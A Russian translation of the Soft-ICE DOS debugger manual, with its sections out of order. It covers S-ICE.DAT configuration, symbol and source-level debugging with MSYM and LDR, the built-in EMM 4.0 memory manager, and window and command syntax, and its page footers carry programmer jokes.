Во время загрузки любой функциональной клавише может быть назначена одна или больше команд Soft-ICE. См. описание команды FKEY в части 5.8 (Команды Настройки Отладчика) для описания назначения функциональных клавиш из командной строки Soft-ICE.

Синтаксис для назначения названий функциональных клавиш в S-ICE.DAT:

Название-функциональной-клавиши = "строка" Название-функциональной-клавиши -- F1, F2... F12. строка -- строка может состоять из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Вот пример назначения функциональной клавиши в S-ICE.DAT:

F12 = "D 100;"

Это назначит команду Soft-ICE, Dump функциональной клавише 12. При нажатии F12 Soft-ICE будет выводить дамп памяти со смещения 100H в текущем сегменте данных. Точка с запятой после 100 представляет клавишу ВВОД.

6.4.3 Последовательность Команд Инициализации

При загрузке Soft-ICE может быть автоматически выполнена группа команд. Это полезно для настройки Soft-ICE под ваши нужды. Например, вы могли бы установить параметры окон и изменить стандартную комбинацию горячих клавиш. Синтаксис для введения последовательности команд инициализации в S-ICE.DAT следующий:

INIT = "строка-назначения"

Строка-назначения -- Строка состоит из любых имеющих силу в Soft-ICE команд и специальных символов ^ и ;. ^ помещается в строку, чтобы сделать команду невидимой. ; помещается в строку для обозначения возврата каретки. Строка должна быть заключена в двойные кавычки.

Пример последовательности команд инициализации в S-ICE.DAT:

INIT = "WIN; WR; WD 1; WC 12; ALTKEY CTRL X;"

Этот пример переведет окно Soft-ICE в полноэкранный режим, создаст окно регистров, создаст окно данных высотой в одну строку, создаст окно кода высотой 12 строк и изменит комбинацию горячих клавиш на CTRL X.

Пример S-ICE.DAT.

Пример файла инициализации включен в содержимое дистрибутивной дискеты. Этот пример назначает функциональные клавиши так, что они используются в той же манере, как и функциональные клавиши в отладчике Microsoft CodeView. Этот пример S-ICE.DAT также должен использоваться "как есть" для обучающей части в главе 3.

ГЛАВА 7

Отладка на Уровне Символов и Исходного Текста.

7.1 Введение 7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста 7.2.1 Подготовка к Отладке Только на Уровне Символов 7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста 7.3 Резервирование Памяти для Символов и Исходного Текста 7.4 Загрузка Программ и Файлов с Символами 7.5 Символьная Отладка 7.6 Отладка по Исходному Тексту.

7.1 Введение

Soft-ICE может загружать программы, таблицы символов и исходные тексты для расширенной отладки. Символьная отладка позволяет устанавливать точки останова и ссылаться на переменные по символьным именам, не указывая числовые адреса. Отладка по исходному тексту позволяет вам проходить через вашу программу на уровне исходного текста, а не на уровне машинного кода.

Информация о символах и строках исходного текста извлекается из файла с картой связей. Карта связей должна быть совместима с Microsoft linker версии 3.60 или выше.

Символы и исходные файлы расположены в расширенной памяти. У вас должно быть достаточно памяти для символов и исходных файлов. Исходные файлы не читаются с диска, как во многих отладчиках. Это позволяет Soft-ICE обеспечить полную системную отладку на уровне исходного текста. Вы можете отлаживать резидентные обработчики прерываний и другой системный код на уровне исходного текста.

Заметьте:

Вы не можете использовать символьную или отладку по исходному тексту, пока Soft-ICE не загружен как драйвер устройства в CONFIG.SYS.

7.2 Подготовка к Отладке на Уровне Символов или Исходного Текста

До отладки программы с символами или исходным текстом вы должны создать файл символов. Это - двоичный файл, содержащий информацию о символах и номерах строк в формате, который Soft-ICE понимает. Этот файл создается при помощи утилиты MSYM.EXE. MSYM.EXE читает вашу карту связей, чтобы создать файл символов с расширением (.SYM).

7.2.1 Подготовка к Отладке Только на Уровне Символов

Для подготовки программы только к символьной отладке, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать вашу программу. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатель /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

Заметьте:

До компилирования или трансляции вашей программы вы можете захотеть сделать публичными некоторые дополнительные символы. При символьной отладке Soft-ICE поддерживает только публичные символы. Методы объявления переменных или меток публичными варьируют в зависимости от того, какой язык вы используете.

На языке ассемблера 8086, укажите директиву PUBLIC, сопровождаемую локально определенными символами, которые вы хотите сделать публичными. Например:

PUBLIC FOO, LOOP1, STATUS

На языке C, все названия процедур и статические переменные, определенные вне блока, являются публичными.

Для других языков, обратитесь к вашему руководству по языку для подробностей.

7.2.2 Подготовка к Отладке на Уровне Символов и Исходного Текста

Для подготовки программы к символьной и отладке по тексту, вы должны выполнить следующие шаги:

1. Скомпилировать или оттранслировать все модули, которые вы хотите отлаживать по исходному тексту с соответствующими переключателями, чтобы поместить информацию о номерах строк в объектные файлы. С языками Microsoft вы можете использовать либо переключатель /Zi либо /Zd. Вы можете не хотеть, проделывать это со всеми файлами, потому что объединенные размеры файла символов и всех исходных файлов, скомпилированных с этими переключателями, должны вписаться в объем расширенной памяти, который вы зарезервировали при помощи переключателя загрузки /SYM в CONFIG.SYS. 2. Слинковать вашу программу с надлежащими переключателями, чтобы создать .MAP-файл, который содержит номера строк исходного текста и список публичных символов. Если вы используете Microsoft linker, необходимо использовать переключатели /LI и /MA. Этот .MAP-файл должен быть идентичен .MAP-файлу, созданному Microsoft linker, версии 3.60 или выше. 3. Создать .SYM-файл, запустив MSYM.EXE. Вот синтаксис для использования MSYM.EXE: MSYM название-программы [.расширение] Если расширение не указано, MSYM принимает расширение .MAP. MSYM читает файл-карту как вход и выдает файл символов как выход. Символьный файл имеет название название-программы.SYM.

7.3 Резервирование Памяти для Символов и Исходного Текста

До загрузки программ, символьных и исходных файлов вы должны зарезервировать расширенную память. Расширенная память резервируется, при загрузке Soft-ICE в CONFIG.SYS. До резервирования расширенной памяти вы можете захотеть сложить размеры .SYM-файла и всех исходных файлов, которые вы хотите загрузить. Вы должны зарезервировать, по крайней мере, столько расширенной памяти. Вы должны использовать переключатель /SYM при загрузке S-ICE.EXE. Вот пример строки в CONFIG.SYS для загрузки Soft-ICE и резервирования места для символов и исходных файлов:

DEVICE = S-ICE.EXE /SYM 1024

Этот пример загружает Soft-ICE в расширенную память и резервирует 1 мегабайт памяти для символов и исходных файлов. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей о резервировании памяти.

7.4 Загрузка Программ и Файлов с Символами

Утилита Soft-ICE, LDR.EXE используется для загрузки программ, файлов символов и исходных файлов. Для символьной отладки прикладных программ и T&SR-программ вы обычно будете использовать LDR.EXE, чтобы загрузить программу, символы и исходные файлы за один шаг. Для отладки загружаемых драйверов устройства, ПЗУ и других системных компонент вы обычно будете использовать LDR.EXE, чтобы загрузить только файл символов и исходные файлы. Вот синтаксис для LDR.EXE:

Руководство по Soft-ICE (DOS) - 19.

- Я умею торм... торм... тормозить. WINDOWS: - А я умею висееееееееее...

LDR название-программы | название-программы.SYM | название-программы.расширение.

7.4.1 Загрузка Программы, Символов и Исходного Текста

Для загрузки вашей программы, символов и исходных файлов за один шаг, вы должны использовать LDR.EXE так:

LDR название-программы

Обратите внимание, что название-программы не имеет расширения. Если расширение не указано, LDR.EXE выполнит следующие действия:

1. Загрузит название-программы.SYM в расширенную память 2. Загрузит исходные файлы в расширенную память. Этот шаг выполняется только, если в .SYM-файле есть записи об исходных файлах. 3. Загрузит название-программы.EXE в память, в область, куда бы она загрузилась, если бы была загружена непосредственно из командной строки DOS. 4. Вызовет Soft-ICE с указателем инструкций на первой инструкции вашей программы. Если это - C- программа и для файла, содержащего _MAIN, загружен исходный текст, тогда исходный текст этого файла будет видим в окне кода.

7.4.2 Загрузка только Символов и Исходных Файлов

Если вы хотите загрузить только символы и исходные файлы (например, для отлад- ки загружаемого драйвера устройства), вы должны использовать LDR.EXE так:

LDR название-программы.SYM

Обратите внимание, что расширение .SYM - указано. .SYM-файл и исходные файлы будут загружены в расширенную память. Когда символы загружены таким образом, символы вашей программы или драйвера устройства будут приняты для ссылки с адреса 0:0. Так как это - редкий случай, вы должны будете использовать команду Soft-ICE, SYMLOC для локализации символов. См. описание команды SYMLOC в главе 5.10 для полной информации. Вот пример загрузки файла символов, называющегося DRIVER.SYM:

LDR DRIVER.SYM

7.4.3 Загрузка Программы Без Символов или Исходного Текста

Для загрузки программного файла без загрузки связанного с ним файл символов, вы должны использовать LDR.EXE так:

LDR название-программы.расширение

Обратите внимание, что расширение файла присутствует. Обычно расширение файла будет .EXE или .COM. Когда расширение файла определено, LDR.EXE загрузит программу и вызовет Soft-ICE с указателем инструкций на первой инструкции программы. Вот пример загрузки программы с символами и исходным текстом:

LDR TEST.EXE

Примечания:

LDR.EXE автоматически сохраняет копию таблицы векторов прерываний при загрузке вашей программы. Это эквивалентно выполнению команды VECS S. Если вы хотите выйти из вашей программы до ее завершения, вы можете выполнить EXIT R для выхода из программы и восстановления таблицы векторов прерываний.

Использование LDR.EXE для загрузки только название-программы.EXE часто полезно для рестарта вашей программы, во время сессии отладки по исходному тексту. Для рестарта выполните команду EXIT R, чтобы прервать текущую сессию. Затем используйте LDR.EXE, для повторной загрузки вашего .EXE-файла. Символы: исходный текст не должен загружаться, т.к. он остается в расширенной памяти.

Если LDR.EXE выдает вам сообщение "Out of space loading symbol information", это означает, что вы не зарезервировали достаточно расширенной памяти при помощи переключателя загрузки /SYM в CONFIG.SYS.

Если LDR.EXE не находит ваши исходные файлы в той же директории, что и программа, которую вы загружаете, LDR.EXE попросит указать путь, по которому он может найти исходные файлы. Если у вас исходные файлы в нескольких директориях или вы часто загружаете программу, это становится тяжелым. Вы можете устранить необходимость во вводе, используя переменную окружающей среды DOS, SRC. LDR.EXE использует эту переменную окружающей среды, чтобы найти исходные файлы до обращения к пользователю. Вот синтаксис для установки переменной окружающей среды из командной строки DOS:

SET SRC = директория;директория;...;директория

В каждой из указанных директорий будет произведен поиск до обращения к пользователю.

Ограничения:

Soft-ICE поддерживает символы только для одной программы одновременно. Если вы загружаете новый .SYM-файл, существующий - перезаписывается. Soft-ICE не поддерживает оверлеи или перемещения сегментов Microsoft Windows. Soft-ICE распознает только публичные символы и номера строк. Он не поддерживает локальные переменные.

7.5 Символьная Отладка

После того, как вы загрузили вашу программу и .SYM-файл, вы можете начинать символьную отладку вашей программы. Вообще символ может использоваться в любой команде вместо адреса.

Символы также используются несколькими командами Soft-ICE, когда выводятся адреса. Например, команда U выводит символьные имена меток и процедур, когда с ними сталкивается. Есть две команды, которые полезны при символьной отладке:

* SYM -- Используйте команду SYM, чтобы получить список названий и значений символов или изменить значение символа. * SYMLOC -- Используйте команду SYMLOC, чтобы переместить базу всех ваших символов. Вы будете должны использовать команду SYMLOC когда:

1. Загружаете символы для загружаемого драйвера устройства 2. Загружаете символы для T&SR, который уже загружен 3. Ваша программа перемещает себя в местоположение, отличное от первоначального. См. часть 5. 10 для полного описания этих команд.

7.6 Отладка по Исходному Тексту

Когда загружены исходные файлы, Soft-ICE позволяет вам просматривать и проходить ваш исходный код как при обычной отладке. Soft-ICE предоставляет два разных режима отладки по исходному тексту: смешанный режим и режим исходного текста. Используйте команду SRC для переключения между режимами. Смешанный режим выводит строки исходного текста и код ассемблера, полученный из этих строк исходного текста, совместно. Смешанный режим полезен, когда вы должны отлаживать на уровне ассемблера, но использовать исходный текст для ссылки. Смешанный режим обеспечивается и когда окно кода видимо и когда нет.

Режим исходного текста строго выдает на экран строки исходного текста. Отладка по исходному тексту требует, чтобы окно кода было видимо.

7.6.1 Использование Номеров Строк

Номера строк могут использоваться вместо адресов в нескольких командах. Для отличия номера строки от фактического адреса, поместите знак . (точка) перед номером. Например, чтобы установить точку останова на выполнение в строке исходного текста 450, введите:

BPX .450

7.6.2 Использование Режима Исходного Текста в Окне Кода

Для входа в режим исходного текста, должно быть видимо окно кода. Если оно невидимо, используйте команду WC, чтобы сделать его видимым. Однажды войдя в режим исходного кода, вы можете использовать команды Soft-ICE, переключаться на другой исходный файл, просматривать исходный текст в любом месте файла, пролистывать файл, искать строки в файле и устанавливать точки останова в файле. Для полной информации следующих команд см. их описания в главах 4 и 5. Следующий список - краткий обзор команд, полезных при отладке по исходному тексту:

* Сделать окно кода видимым (если оно еще не видимо) командой WC. * Переключить между режимом исходного текста, смешанным и режимом кода командой SRC. Для переключения режимов введите: SRC * Поместить исходный файл в окно кода (если он еще не там) командой FILE. Например, для перехода от текущего файла к файлу MAIN.C введите:

FILE MAIN.C

* Вывести исходный текст с определенной позиции в исходном файле командой U. Чтобы изменить вывод на определенную строку или адрес памяти используйте команду U. Вы можете указывать фактические адреса или номера строк как параметры для команды. Например, чтобы просмотреть исходный текст в окне кода, начиная со строки исходного текста 450, введите:

U. 450

* Найти текущую инструкцию в окне кода командой . (точка). * Искать определенную символьную строку командой SS. Например, чтобы искать строку "Hello World", начиная со строки 100 в текущем исходном файле, введите:

SS 100 "Hello World"

* Переместить курсор в окно кода (если он еще не там) командой EC. * Листать исходный текст клавишами вверх, вниз, PageUp, PageDn. * Установить точку останова типа point-and-shoot командой BPX. Просто поместите курсор в строку исходного текста, на которой вы хотите остановиться, затем введите:

BPX

ГЛАВА 8

8.1 Введение

У Soft-ICE есть менеджер отображаемой памяти, встроенный в его ядро. Менеджер отображаемой памяти Soft-ICE поддерживает спецификацию Lotus-Intel-Microsoft.

4.0. Эта возможность Soft-ICE полезна, если вы используете программы, поддерживающие спецификацию EMM или если вы должны нарастить вашу обычную память, чтобы расширить системную память до 640КБ или больше.

Другие контролирующие программы 386, обеспечивающие возможности EMM (типа QEMM или 386-to-the-MAX) не будут работать с Soft-ICE. Если вы используете эти программы для возможностей EMM или наращивания, вы можете использовать вместо них EMM-менеджер Soft-ICE.

Активизация возможностей EMM в Soft-ICE включает следующие шаги:

1. Конфигурирование окружения отображаемой памяти утилитой EMMSETUP.EXE. Эта утилита изменяет S-ICE.EXE с учетом желаемой карты EMM-страниц. 2. Добавление переключателя /EMM в вашу строку S-ICE.EXE в CONFIG.SYS. Это резервирует часть расширенной памяти для отображаемой памяти. Вот пример строки в CONFIG.SYS, резервирующей память для EMM:

DEVICE = S-ICE.EXE /EMM 2048

Будет зарезервировано 2 мегабайта расширенной памяти на использование для EMM. См. часть 6.3 (Загрузка Soft-ICE как Загружаемого Драйвера Устройства) для деталей установки Soft-ICE в CONFIG.SYS. 3. Перезагрузите вашу систему.

8.2 Конфигурирование Окружения EMM

Перед установкой S-ICE.EXE с переключателем /EMM в файл CONFIG.SYS, вам может быть придется запустить EMMSETUP.EXE чтобы сконфигурировать окружение EMM 4.0. Этот процесс конфигурации позволит вам указать, какие участки памяти вы хотели бы сделать доступными как страницы EMM 4.0. Запуск EMMSETUP.EXE сильно рекомендуется, если вы используете программы, требующие все преимущества спецификации EMM 4.0.

8.2.1 Страницы EMM по умолчанию

По умолчанию, S-ICE.EXE с переключателем /EMM - сконфигурирован предоставить страницы EMM 4.0 в следующих областях:

* Нижние 640КБ (кроме 1-х 64КБ) * 64КБ, начинающиеся с D000H Вы можете захотеть реконфигурировать EMM по следующим причинам:

* У вас может быть устройство типа сети, использующее область памяти с D000H. * Вы можете захотеть заполнить большее количество "дыр" выше 640КБ страницами EMM. Это увеличит производительность и применимость программ типа Microsoft Windows. Чтобы получить максимальную производительность от Microsoft Windows, вы должны заполнить все доступные страницы отображаемой памятью.

Руководство по Soft-ICE (DOS) - 2.

- Сколько инженеров по программному обеспечению из компании "Майкрософт" нужно для того, чтобы выкрутить перегоревшую лампочку и закрутить новую? - Нисколько. Они просто определят темноту как индустриальный стандарт.

2. Запустите, Soft-ICE из командной строки DOS, набрав.

S-ICE. 

Прежде, чем фактически загрузиться, Soft-ICE выдаст сообщение о загрузке и командную строку. Для предотвращения вывода этой командной строки, поместите слово EXTENDED в файл S-ICE.DAT. См. часть 6.4 для получения более подробной информации о файле S-ICE.DAT. При использовании этого метода, S-ICE.EXE автоматически загружается в верхнюю точку расширенной памяти, если там еще нет никакой другой программы. Если вы знаете, что у вас нет других программ, использующих расширенную память, этот метод - приемлем. Загруженный этим методом, Soft-ICE занимает НОЛЬ байт основной памяти. Команда, которую вы используете:

S-ICE

Примечания: Вы НЕ можете активизировать все возможности Soft-ICE при загрузке из командной строки. Если вы будете использовать Soft-ICE как автономный отладчик, рекомендуется загрузить Soft-ICE из CONFIG.SYS.

Если вы хотите загрузить Soft-ICE как драйвер устройства, но не хотите, чтобы Soft-ICE был резидентным все время, вы должны использовать переключатель /UN. Обратитесь к части 6.3.1 для получения большей информации.

2.2.3 Конфигурирование Soft-ICE для Запуска с Установками Пользователя

Вы можете настраивать Soft-ICE при помощи переключателей Soft-ICE в CONFIG.SYS и при помощи файла инициализации Soft-ICE S-ICE.DAT. Переключатели в CONFIG.SYS позволяют указать метод резервирования расширенной памяти, используемый Soft-IСЕ'ом. Файл инициализации S-ICE.DAT позволяет вам указать опции конфигурации, указать команды, выполняемые по нажатию функциональных клавиш, и определить строку автостарта. Строка автостарта используется, для выполнения ряда команд, которые вы всегда используете при установке Soft-ICE. Для более полной информация о настройке Soft-ICE, обратитесь к главе 6.

2.3 Выгрузка Soft-ICE

Когда-нибудь вам может понадобиться выгрузить Soft-ICE. Типичная причина для выгрузки Soft-ICE - необходимость запуска программы, использующей инструкции защищенного режима 80286 или 80386. Чтобы выгрузить Soft-ICE, введите:

S-ICE /U

Эта команда возвращает машину в реальный режим адресации. Если Soft-ICE был первоначально загружен из CONFIG.SYS, память остается зарезервированной для Soft-ICE и не может использоваться другими программами. Если Soft-ICE первоначально загружен из командной строки, выгрузка освобождает память, используемую S-ICE.EXE.

Предостережение: Если в вашей системе есть наращенная память или если в настоящее время используется расширенная память, выгрузка Soft-ICE может вызвать зависание ОС.

2.4 Повторная Загрузка Soft-ICE

Soft-ICE может быть повторно загружен в любое время, даже если он был перво- начально загружен из CONFIG.SYS. Если Soft-ICE был загружен из CONFIG.SYS, то первоначальная конфигурация (EMM 4.0, символы и исходный текст ...) остается в силе. Чтобы повторно загрузить Soft-ICE, введите:

S-ICE

ГЛАВА 3

3.1 Введение

Все взаимодействие с Soft-ICE происходит в окне, которое может быть вызвано в любое время. Все команды Soft-ICE помещаются в маленьком окне, но окно может быть увеличено до полного экрана. Обычно вы будете использовать маленькое окно при использовании Soft-ICE в дополнение к другому отладчику и большое окно при использовании Soft-ICE в автономном режиме.

Окно сразу выводится во весь экран, если вы используете файл конфигурации Soft-ICE (S-ICE.DAT), включенный в дистрибутив.

3.2 Вызов Всплывающего Окна

Вы можете вызвать окно в любое время после установки Soft-ICE. По умолчанию Soft-ICE вызывается нажатием клавиш CTRL и D. Однако, эта комбинация может быть изменена, при помощи команды ALTKEY (см. часть 5.8).

3.3 Возврат Из Окна

Вернитесь к первоначальному экрану, используя команду X или комбинацию клавиш, которую вы использовали для вызова Soft-ICE. Любые точки останова, которые вы установили во время работы в Soft-ICE, останутся в силе.

3.4 Изменение Размера Окна

Вы можете изменять как ширину, так и высоту окна Soft-ICE. Изменение размера окна особенно полезно в автономном режиме, когда на экран выводится память с кодом программы.

Высота окна может изменяться от 8 до 25 строк. Для изменения высоты окна используйте следующие комбинации клавиш:

ALT + стрелка вверх -- увеличивает высоту окна ALT + стрелка вниз -- уменьшает высоту окна.

Для изменения ширины окна, используйте команду WIN (см. часть 5.9). Ввод WIN без параметров переключает следующие два режима:

Режим WIDE - полная ширина экрана режим NARROW - ширина 46 символов.

Некоторые команды (то есть D, E, R, U) используют преимущество большой ширины для вывода большего количества информации, когда окно находится в режиме WIDE.

3.5 Перемещение Окна

Окно Soft-ICE подвижно и может быть помещено куда угодно на экране. Это особенно полезно, когда окно находится в режиме NARROW. Перемещайте окно в любое время, когда вам нужно видеть информацию на экране за окном. Следующие комбинации клавиш перемещают окно:

CTRL стрелка вверх -- на строку вверх CTRL стрелка вниз -- на строку вниз CTRL стрелка вправо -- на одну позицию вправо CTRL стрелка влево -- на одну позицию влево.

3.6 Клавиши Редактирования

Простой в использовании строковый редактор Soft-ICE позволяет повторно вызы- вать и редактировать предыдущие команды. Функции строкового редактора подобны функциям популярного редактора CED.

Следующие комбинации клавиш помогают при редактировании команд в окне команд:

Стрелка вправо -- перемещает курсор вправо стрелка влево -- перемещает курсор влево INS -- переключает режим вставки DEL -- удаляет текущий символ HOME -- перемещает курсор в начало строки END -- перемещает курсор в конец строки стрелка вверх -- выводит предыдущую команду стрелка вниз -- выводит следующую команду SHIFT стрелка вверх -- прокрутка на одну строку вверх SHIFT стрелка вниз -- прокрутка на одну строку вниз PAGE UP -- прокрутка на одну страницу вверх PAGE DN -- прокрутка на одну страницу вниз BKSP -- удаляет предыдущий символ ESC -- отменяет текущую команду.

Есть специальные назначения клавиш, когда курсор находится в окне данных или окне кода. Они описаны в частях для команд E и EC соответственно. Одно из таких специальных назначений - SHIFT и SHIFT , когда курсор находится в окне кода. Эти клавиши переназначаются так, что они выполняют функции, которые обычно выполняют клавиши и . Таким образом вы можете повторно вызывать предыдущие команды, когда курсор находится в окне кода.

3.7 Диалоговая Строка Состояния

Строка состояния в нижней части окна обеспечивает диалоговую помощь по синтаксису команд.

3.8 Синтаксис Команд

Soft-ICE - отладочный инструмент с командным управлением. Для взаимодействия с Soft-ICE вы вводите команды, которые могут изменяться при помощи параметров.

Все команды - текстовые строки, длиной от одного до шести символов, нечувстви- тельные к регистру букв. Все параметры являются ASCII-строками или выражениями.

Выражения - обычно числа, но могут также быть комбинациями чисел и операторов (например, + - / *). Все числа выводятся в шестнадцатеричном формате. Параметры типа byte - 2 цифры длиной, параметры типа word - 4 и параметры типа double word - 2 параметра типа word, разделенные двоеточием (:). Вот несколько примеров параметров:

12 -- параметр типа byte 10FF -- параметр типа word E000:0100 -- параметр типа double word.

Вместо байтов или слов в выражении могут использоваться регистры. Например, команда " U CS:IP-10 " начнет дизассемблирование инструкций с адреса, находя- щегося за десять байт до текущего адреса в указателе команд. В выражениях могут использоваться следующие названия регистров:

AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS или FL.

3.8.1 Определение Адресов Памяти

Много команд Soft-ICE требуют в качестве параметров адреса памяти. Адрес памяти - это значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента.

В любой команде Soft-ICE вместо адреса могут использоваться публичные символы. Публичные символы могут быть загружены в Soft-ICE загрузчиком программ (LDR.EXE). См. главу 7 (Символы и Исходный текст) для получения полного описа- ния использования публичных имен.

Интерпретатор выражений Soft-ICE распознает несколько специальных символов в объединении с адресами. Это следующие специальные символы:

$ -- Текущий CS:IP. @адрес -- указатель типа double word .число -- номер строки в исходном тексте.

Символ $ может использоваться вместо CS:IP при вводе текущего адреса указателя команд.

Символ @ позволяет вам обращаться к двойному слову, на которое указывает адрес. Вы можете использовать несколько уровней @.

Если символ . предшествует адресу, адрес будет интерпретироваться как номер строки в текущем исходном файле, а не как фактический адрес. Это имеет силу, только когда загружены исходные файлы. В этом случае адрес интерпретируется как десятичное число.

Примеры:

U.1234

Эта команда начинает дизассемблирование инструкций в строке 1234(десятич.) исходного текста.

U $-10

Эта команда дизассемблирует инструкции, начинающиеся за 10 байт до текущего адреса в указателе команд.

G @SS:SP

Предполагает, что вы - на первой инструкции обработчика прерывания. Ввод этой команды установит временную точку останова на адрес возврата в стеке и пропускает подпрограмму обработчика прерывания.

3.9 Функциональные Клавиши

Функциональные клавиши могут назначаться на выполнение любой командной строки, которая может быть введена в Soft-ICE. Их можно переназначать из командной строки или заранее путем их определения в файле S-ICE.DAT.

По умолчанию S-ICE.DAT, поставляемый на дистрибутивной дискете, содержит определения для всех 12 функциональных клавиш. Вы можете изменять любое из этих определений в любое время. Они присутствуют в качестве примера, но они предназначены для облегчения работы пользователей Microsoft CodeView, по умол- чанию работают следующие назначения:

F1 -- Выводит общую помощь (H;) F2 -- Включает окно регистров (^WR;) F3 -- Изменяет текущий режим работы с исходным текстом (^SRC;) F4 -- Восстанавливает экран (^RS;) F5 -- Возвращается в вашу программу (^X;) F6 -- Переключает курсор между окном команд и окном кода (^EC;) F7 -- Прогоняет программу до текущей позиции курсора (^HERE;) F8 -- Выполняет одиночную инструкцию (^T;) F9 -- Устанавливает точку останова в текущей позиции курсора (^BPX;).

Руководство по Soft-ICE (DOS) - 20.

Программистское народное ругательство: motherhacker!

8.2.2 Настройка Карты Страниц EMM

Для конфигурирования карты EMM вы должны использовать утилиту EMMSETUP.EXE. EMMSETUP.EXE позволяет изменять карту страниц, а затем модифицирует S-ICE.EXE с учетом изменений. EMMSETUP работает наиболее эффективно при автоматической настройке карты EMM. EMMSETUP, при работе с видеокартами и ПЗУ, попробует заполнить отображаемыми страницами столько адресного пространства, сколько возможно. Если результат недостаточно хорош или не по вашему вкусу, вы можете его изменить. Изменение может быть необходимо, если у вас есть сеть, специальный видеоадаптер или адаптер операций с отображаемой памятью. Для конфигурирования карты EMM введите:

EMMSETUP

EMMSETUP показывает матрицу страниц памяти по 16КБ, доступных в нижней области в 1 мегабайт. Матрица разделена на 16 колонок, представляющих каждая 64КБ (от 0 до 10000H). 4 строки представляют четыре страницы по 16КБ в каждой 64-килобайтовой области.

Каждая ячейка матрицы может содержать E, X, R или V. Ячейки, содержащие E, доступны как страницы EMM; блоки, содержащие X - нет. Ячейки, содержащие R - области памяти, которые были идентифицированы EMMSETUP как области ПЗУ. Вы, при необходимости, можете изменить эти области на E, но это допустимо, только если к ПЗУ нет обращений. Ячейки, содержащие V идентифицированы как видеопамять. Мы сделали наихудшее предположение о видеопамяти. Ваша конкретная видеокарта может не использовать столько, сколько мы "предположили". При необходимости вы можете изменить блоки памяти, которые содержат ненужные V.

Если вы удовлетворены предположениями ЕММSЕТUР'а, нажмите клавишу F10 и S-ICE.EXE будет изменен с этими параметрами. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться. Если вы хотите изменить предположения ЕММSЕТUР'а, сделайте это в то же самое время.

8.2.2.1 Включение и Исключение Областей из EMM

Чтобы включить область в память EMM 4.0 просто поместите курсор на желаемую ячейку, затем введите E. Наоборот, чтобы исключить область из памяти EMM 4.0, поместите курсор на ячейку и введите X. Когда вы будете удовлетворены вашими изменениями, нажмите F10 для выхода из программы. Все изменения автоматически сохраняются в файле S-ICE.EXE. Если вы хотите выйти без изменения S-ICE.EXE, нажмите ESC. Чтобы сделанные в S-ICE.EXE изменения вступили в силу, вы должны перезагрузиться.

Включая верхние блоки памяти, имейте в виду следующее:

* CGA занимает от B800H до C000H. * MDA занимает от B000H до B100H. * Большинство карт Hercules занимает от B000 до C000H. * EGA занимает от A000H до C000H и от C000H до C400H. * VGA (на материнской плате) занимает от A000H до C000H. * VGA (съемная карта) занимает от A000H до C000H и от C000H до C800H. * Системное ПЗУ PS/2 занимает от E000H до 10000H. * ПЗУ PS/2 ESDI занимает от CC00H до D000H * Большинство AT-совместимых ПЗУ занимают от F000H до 10000H. * Compaq-системы, системы с системными платами Micronix и большинство систем с платами Chips and Technologies перемещают ПЗУ EGA/VGA в E000H Однако они все равно так же занимают и область C000H. * Сети Token Ring обычно занимают от CC00H до E000H. * Многие сети занимают области памяти в области D000H. Вышеупомянутые руководящие принципы - для "фирменных" устройств. Многие исполнения от различных продавцов компьютеров и продавцов карт адаптеров будут варьировать.

8.3 Другие Возможности EMM

У S-ICE.EXE с переключателем /EMM есть две возможности, которые автоматически активизируются в зависимости от конфигурации вашей системы. Эти возможности - наращивание и перемещение страниц.

8.3.1 Увеличение Обычной Памяти

Память системы будет автоматически наращена до первой неотображаемой страницы. Это означает, что начинается поиск цепочки 'E' с ячейки 1000 и продолжается, пока не будет найден первый несмежный 'E'. Если цепочка смежных 'E' выйдет за границы основной памяти вашей системы, память будет наращена до первого R, V или X, который будет найден.

Выгода наращивания - в том, что вы можете увеличивать объем используемой памяти системы до большего, чем 640КБ. Наращенная память доступна из DOS. Если вам не нужна наращенная память, используйте EMMSETUP, чтобы сделать страницу неотображаемой (X) в точке, где вы хотите, чтобы память системы заканчивалась.

Заметьте:

Монохромные системы (MDA) можно наращивать вплоть до B000H, чтобы добавить дополнительные 64КБ к обычной памяти. CGA-системы могут быть наращены вплоть до B800, добавляя дополнительные 96КБ к обычной памяти. EGA и VGA-системы могут быть наращены, только если не будут запускаться графические программы. Вы можете наращивать EGA или VGA-системы вплоть до B800:0, если не будут запускаться никакие графические программы.

Предупреждение:

Если память - наращена, НЕ ВЫГРУЖАЙТЕ Soft-ICE. Это вызовет разрушение системы.

8.3.2 Автоматическое Определение Страниц

Большинство знакомых с EMM программ требуют 64КБ-страницу, не используемую как нормальная память DOS. Она обычно расположена выше области видео- устройства. Однако в некоторых системах нет непрерывной области в 64K для размещения страницы. В этих случаях S-ICE.EXE "крадет" 4 верхние отображаемые страницы нижней памяти. Как результат - нижняя память DOS урезается на 64КБ.

8.4 EMM-Отладка

Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.

При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.

Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:

* В командах D, E, S и F адресная часть команды должна быть указана следующим образом: Нуказатель# Рстраница# смещение где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:

DB H1 P3 0

